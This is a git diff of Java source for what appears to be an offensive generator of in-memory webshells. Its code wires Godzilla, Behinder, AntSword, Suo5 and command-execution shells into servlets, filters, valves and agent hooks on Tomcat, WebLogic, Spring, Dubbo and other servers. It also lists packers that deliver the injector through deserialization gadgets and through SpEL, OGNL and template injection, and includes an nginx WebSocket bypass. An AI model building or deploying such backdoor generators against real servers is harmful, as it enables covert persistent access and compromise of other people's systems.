*/
public class GenerationException extends RuntimeException {
public GenerationException(String message) {
super(message);
}
public GenerationException(String message, Throwable cause) {
super(message, cause);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/8/11
*/
public class Server {
public static final String Tomcat = "Tomcat";
public static final String Jetty = "Jetty";
public static final String Undertow = "Undertow";
public static final String JBoss = "JBoss";
public static final String Resin = "Resin";
public static final String WebLogic = "WebLogic";
public static final String WebSphere = "WebSphere";
public static final String GlassFish = "GlassFish";
public static final String TongWeb = "TongWeb";
public static final String BES = "BES";
public static final String InforSuite = "InforSuite";
public static final String Apusic = "Apusic";
public static final String SpringWebMvc = "SpringWebMvc";
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struts2 = "Struts2";
public static final String Dubbo = "Dubbo";
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb;
/**
* @author ReaJason
* @since 2025/5/27
*/
public interface ShellGenerator {
byte[] getBytes();
}
@@ -1,52 +1,117 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.memshell.generator.*; import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.probe.ProbeContent;
import com.reajason.javaweb.probe.ProbeMethod;
import com.reajason.javaweb.probe.config.ProbeConfig;
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class MemShellGenerator { public class MemShellGenerator {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) { public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Server server = shellConfig.getServer(); String serverName = shellConfig.getServer();
AbstractShell shell = server.getShell(); AbstractServer server = ServerFactory.getServer(serverName);
if (shell == null) { if (server == null) {
throw new IllegalArgumentException("Unsupported server"); throw new GenerationException("Unsupported server: " + serverName);
} }
Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else {
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) {
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
}
Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass);
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
} }
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) { if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
} }
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); if (shellConfig.isLambdaSuffix()) {
if (shellInjectorPair == null) { shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType()); injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
} }
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass); byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
injectorConfig = injectorConfig if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
.toBuilder() || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
.injectorClass(injectorClass) String helperClassName = shellToolConfig.getShellClassName() + "$1";
.shellClassName(shellToolConfig.getShellClassName()) injectorConfig.setInjectorHelperClassName(helperClassName);
.shellClassBytes(shellBytes).build(); injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate(); injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
return GenerateResult.builder() InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
.byPassJavaModule(shellConfig.isByPassJavaModule())
.shrink(shellConfig.isShrink())
.debug(shellConfig.isDebug())
.staticInitialize(injectorConfig.isStaticInitialize())
.build();
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(serverName)
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
.build();
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
}
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return MemShellResult.builder()
.shellConfig(shellConfig) .shellConfig(shellConfig)
.shellToolConfig(shellToolConfig) .shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig) .injectorConfig(injectorConfig)
@@ -54,23 +119,7 @@ public class MemShellGenerator {
.shellBytes(shellBytes) .shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName()) .injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes) .injectorBytes(injectorBytes)
.injectorInnerClassBytes(innerClassBytes)
.build(); .build();
} }
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getShellTool()) {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
}
} }
@@ -0,0 +1,77 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "Builder")
public class MemShellResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class Builder {
public MemShellResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
public JarPackerConfig toJarPackerConfig() {
JarPackerConfig jarPackerConfig = new JarPackerConfig();
jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes);
bytes.put(injectorClassName, injectorBytes);
if (injectorInnerClassBytes != null) {
bytes.putAll(injectorInnerClassBytes);
}
jarPackerConfig.setClassBytes(bytes);
return jarPackerConfig;
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
if (shellConfig != null) {
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
}
return classPackerConfig;
}
}
@@ -1,139 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.packer.BCELPacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
import lombok.Getter;
import java.util.List;
import java.util.Objects;
import java.util.stream.Collectors;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Getter
public enum Packers {
/**
* Base64
*/
Base64(new Base64Packer()),
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
Jar(new DefaultJarPacker()),
/**
* BCEL
*/
BCEL(new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
Rhino(new RhinoPacker()),
/**
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()),
JEXL(new JEXLPacker()),
BeanShell(new BeanShellPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
Groovy(new GroovyPacker()),
Freemarker(new FreemarkerPacker()),
Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()),
/**
* Java 反序列化打包器
*/
JavaDeserialize(new JavaDeserializePacker()),
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
;
private final Packer instance;
private Class<?> parentPacker = null;
Packers(Packer instance) {
this.instance = instance;
}
Packers(Packer instance, Class<?> parentPacker) {
this.instance = instance;
this.parentPacker = parentPacker;
}
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
}
}
@@ -1,248 +0,0 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter;
import static com.reajason.javaweb.memshell.ShellType.*;
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
/**
* @author ReaJason
* @since 2024/11/22
*/
@Getter
public enum Server {
/**
* Tomcat 中间件
*/
Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
Jetty(new JettyShell()),
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
*/
SpringWebMvc(new SpringWebMvcShell()),
/**
* Spring WebFlux 框架
*/
SpringWebFlux(new SpringWebFluxShell()),
/**
* WebSphere 中间件
*/
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
*/
WebLogic(new WebLogicShell()),
/**
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
*/
Resin(new ResinShell()),
/**
* GlassFish 中间件
*/
GlassFish(new GlassFishShell()),
Payara(new GlassFishShell()),
/**
* 宝兰德中间件
*/
BES(new BesShell()),
/**
* 东方通中间件
*/
TongWeb6(new TongWeb6Shell()),
TongWeb7(new TongWeb7Shell()),
/**
* 金蝶天燕中间件
*/
Apusic(new ApusicShell()),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
/**
* XXL-JOB
*/
XXLJOB(new XxlJobShell())
;
private final AbstractShell shell;
Server(AbstractShell shell) {
this.shell = shell;
}
static {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, GodzillaListener.class)
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, BehinderListener.class)
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, Suo5Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build());
}
}
@@ -0,0 +1,304 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.server.*;
import com.reajason.javaweb.memshell.shelltool.antsword.*;
import com.reajason.javaweb.memshell.shelltool.behinder.*;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
import com.reajason.javaweb.memshell.shelltool.suo5.*;
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.function.Supplier;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2025/8/11
*/
public class ServerFactory {
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
private static final List<String> servers = new CopyOnWriteArrayList<>();
static {
register(Server.Tomcat, Tomcat::new);
register(Server.Jetty, Jetty::new);
register(Server.Undertow, Undertow::new);
register(Server.JBoss, Jboss::new);
register(Server.Resin, Resin::new);
register(Server.WebLogic, WebLogic::new);
register(Server.WebSphere, WebSphere::new);
register(Server.GlassFish, GlassFish::new);
register(Server.TongWeb, TongWeb::new);
register(Server.BES, Bes::new);
register(Server.InforSuite, InforSuite::new);
register(Server.Apusic, Apusic::new);
